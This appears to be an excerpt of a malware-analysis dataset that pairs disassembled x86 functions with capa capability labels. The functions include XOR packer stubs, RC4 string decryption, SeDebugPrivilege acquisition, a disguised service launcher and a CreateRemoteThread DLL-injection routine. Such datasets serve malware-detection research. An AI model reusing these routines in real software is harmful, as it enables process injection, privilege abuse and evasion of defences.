joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403830
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
bswap ebx
neg ebx
bswap ebx
not edi
rcr edx, 0xdc
inc edi
imul esi
not ebx
neg edx
ror edx, 0x7b
inc eax
bswap ebx
imul edi
imul esi
dec edi
imul eax
rol esi, 0x2a
and esi, 0xb5
rcl esi, 0xaf
not eax
dec edx
rcr ebx, 0x26
or eax, 0xf0
bswap edx
bswap eax
dec ebx
bswap edx
not ebx
sbb edx, 0x64
dec eax
rol eax, 0x13
rcl esi, 0x34
sbb edi, 0xd2
rol edx, 0xd4
or edi, 0x22
dec edi
or edx, 0x99
add ebx, 0xa3
bswap edx
rol edx, 0xd8
neg esi
dec esi
imul eax
bswap ebx
bswap eax
rol edx, 0x61
dec edi
and edi, 0x75
and esi, 0x71
neg eax
xor ecx, ecx
xor edi, edi
not edi
rcr eax, 0x8d
dec eax
dec ebx
rol edx, 0x18
dec esi
not edi
rol ebx, 0x2e
rol edi, 0xab
inc eax
neg esi
rcr ebx, 0x3c
ror ebx, 0xb0
sub edx, 0xe6
rcl eax, 0x6b
bswap edx
not edi
rol ebx, 0x3f
imul esi
rcl eax, 0x44
rcl edi, 0xa1
rcr esi, 0x48
rcr eax, 0xd1
ror esi, 0x32
inc ebx
bswap edi
bswap edi
and esi, 0xba
sbb edi, 0x31
inc edi
neg edx
mov eax, 0x7f
sub edx, 0x70
ror esi, 0x7f
sub edx, 0xf6
dec edx
rol eax, 0x71
rol ebx, 0x4c
dec esi
imul edi
sbb esi, 0x64
bswap edi
bswap ebx
bswap eax
rcr ebx, 0x7c
rcl edi, 0x28
not ebx
or edx, 0x1a
sub eax, 0x19
imul edi
mov ecx, dword [ebp + 0xc]
sub esi, 0xfb
dec ebx
sbb esi, 0xa7
and edi, 0xbe
inc ebx
sbb eax, 0xe2
sbb edx, 0x5e
add ebx, 0xe4
not edx
inc edx
dec esi
neg edi
inc edx
not edx
inc edi
dec ebx
ror ebx, 0xf0
not edx
add edi, 0xb4
sub edx, 0xed
imul edx
neg eax
dec edi
imul edx
mov ebx, 0x25
imul eax
bswap eax
dec edx
add esi, 0x52
mov edi, 0x6a
neg esi
or esi, 0x49
neg eax
neg ebx
bswap edi
dec edx
or edx, 0x9f
dec esi
rcr edx, 0x49
neg eax
inc edx
sbb ebx, 0xd0
rol edi, 0x47
imul edx
rol eax, 0x84
and edi, 0xfc
rol esi, 0x71
imul ebx
dec edi
sub edi, 0xb3
mov edi, dword [ebp + 8]
mov eax, esi
xor esi, ebx
mov esi, esi
xor eax, eax
xor eax, eax
xor esi, eax
xor eax, ebx
mov esi, eax
mov ebx, esi
mov esi, eax
xor eax, esi
xor ebx, esi
not byte [edi]
xor ebx, ebx
xor ebx, eax
mov esi, eax
mov ebx, esi
mov eax, esi
xor esi, esi
xor esi, eax
xor eax, esi
xor ebx, esi
sub byte [edi], 0x98
mov esi, ebx
mov esi, ebx
mov ebx, eax
xor ebx, eax
xor ebx, esi
mov esi, eax
xor eax, esi
mov eax, eax
xor eax, ebx
add byte [edi], 0x53
xor eax, esi
mov eax, esi
xor esi, eax
mov ebx, eax
mov esi, eax
xor eax, eax
xor ebx, ebx
xor esi, esi
xor esi, eax
imul byte [edi]
inc edi
loop 0x4039da
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4019b0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x99f008]
sub esp, 0x110
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x401b5d
cmp dword [0x99f00c], 0
jne 0x401b49
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004042c0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x401a00
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41e0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x401a10
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41e0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x401a45
push 0x104
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004042c0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x401aa4
sub edx, esi
sar edx, 1
je 0x401b5d
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x401ac0
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x104
ja 0x401b5d
xor eax, eax
push ebx
test edx, edx
je 0x401af8
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x401af8
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x401ae1
xor eax, eax
test edx, edx
je 0x401b12
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x401b12
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x401b00
xor eax, eax
test edx, edx
je 0x401b2f
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x401b2f
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x401b20
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x99f008]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x110
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x110
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x110
ret
Function at 0x402c50
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x99f14c]
sub esp, 0x11c
test eax, eax
jne 0x402d4c
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004042c0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x402ca0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41e100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x402cb0
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41e104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x402ce5
lea edx, [esp + 0xc]
call fcn.004012e0
pop edi
pop esi
pop ebx
test eax, eax
je 0x402d47
mov eax, dword [eax + 0x18]
test eax, eax
je 0x402d47
mov dword [0x99f14c], eax
add esp, 0x11c
ret
mov eax, dword [0x99f14c]
add esp, 0x11c
ret
Function at 0x403c70
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x99f148
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x403d99
cmp dword fs:[0xc0], eax
je 0x403c9b
mov dword [0x99f144], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x99f02c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x99f030], eax
movzx edx, word [esi + 0xac]
mov dword [0x99f034], edx
mov eax, dword [esi + 0xb0]
mov dword [0x99f038], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x403cfb
push 0x7f
push eax
push 0x99f03c
call fcn.004042f0
mov edx, dword [0x99f034]
add esp, 0xc
jmp 0x403d03
xor eax, eax
mov word [0x99f03c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x99f13c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x99f13e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x99f140], ax
mov ecx, eax
mov byte [0x99f142], 0
cmp byte [0x7ffe0268], 0
je 0x403d4a
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x99f142], bl
cmp ebx, 1
pop ebx
jne 0x403d64
and ecx, 0xffef
mov word [0x99f140], cx
test edx, edx
jne 0x403d99
call fcn.00403c70
cmp dword [0x99f02c], 6
ja 0x403d99
jb 0x403d81
cmp dword [0x99f030], 4
jae 0x403d99
call fcn.00403c70
cmp dword [0x99f02c], 0xa
jae 0x403d99
mov dword [0x99f034], 1
ret
Function at 0x41d1e2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x71872575
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0xee72f6a
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x406128
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40614d
mov dword [0x40a0f4], eax
add esp, 0xfffffff8
push 0x4060ec
push eax
call fcn.00407c20
jmp 0x406152
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x406168
mov dword [0x409054], 0x40624c
jmp 0x406172
mov dword [0x409054], 0x406200
leave
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4d2b283c
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4310d2
nop
nop
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x559d21a3
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x4328313d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3d0b2e84
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x401050
Capabilities:
Create thread
Execute command
Inject dll
Inject thread
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push str.LoadLibraryA
push str.kernel32.dll
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4010ac
push str.Could_note_locate_real_address_of_LoadLibraryA__n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LastError_:_0X_x_n
call fcn.00401010
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push str.LoadLibraryA_is_located_at_real_address:_0X_p_n
call fcn.00401010
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x32
call edi
push 4
push 0x1000
push 0x4e
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x401111
push str.Could_not_allocate_Memory_in_target_process_n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LastError_:_0X_x_n
call fcn.00401010
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push str.Dll_path_memory_allocated_at:_0X_p_n
call fcn.00401010
add esp, 8
push 0x32
call edi
push 0
push 0x4e
push str.C:WindowsINFMSVC040C_vs_v143CompileRegisterNandVS_InteligenceBuild.dll
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40116d
push str.Could_not_write_into_the_allocated_memory_n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LastError_:_0X_x_n
call fcn.00401010
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push str.Dll_path_memory_was_written_at_address_:_0x_p_n
call fcn.00401010
add esp, 8
push 0x32
call edi
push 0
push 0
push esi
push dword [ebp - 4]
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4011ce
push str.Could_not_open_Thread_with_CreatRemoteThread_API_n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.LastError_:_0X_x_n
call fcn.00401010
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0xc
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.Thread_started_with_CreateRemoteThread_n
call fcn.00401010
add esp, 4
push 0x32
call edi
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x40120e
push str.Memory_was_freed_in_target_process_n
call fcn.00401010
add esp, 4
push 0x32
call edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401250
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
lea eax, [ebp - 0x34]
mov dword [ebp - 0x2c], 0x10
push eax
push str.SeDebugPrivilege
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x40130f
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], 1
push eax
push 0x10
lea eax, [ebp - 0x28]
mov dword [ebp - 0x20], ecx
push eax
push 0
push esi
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40130f
cmp dword [ebp + 8], 0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
je 0x4012dd
or dword [ebp - 0xc], 2
jmp 0x4012e1
and dword [ebp - 0xc], 0xfffffffd
push 0
push 0
push dword [ebp - 0x2c]
lea eax, [ebp - 0x18]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004017b4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor al, al
xor ecx, ebp
pop esi
call fcn.004017b4
mov esp, ebp
pop ebp
ret

Function at 0x401320
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ecx
push str._s___error__n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401220
add esp, 0xc
lea eax, [ebp - 4]
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
je 0x40138c
push 0
lea ecx, [ebp - 8]
push ecx
push eax
push dword [ebp - 4]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esp, ebp
pop ebp
ret
Function at 0x401fb9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ff8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ff8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ff8
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ff8
cmp dword [ecx + 0x74], 0xe
jbe 0x401ff8
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x432003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..wixburn
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x76a15861
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..pdata
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x5d355b19
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x259808bc
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3d705d1d
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x32437aef
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x5d4e324d
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219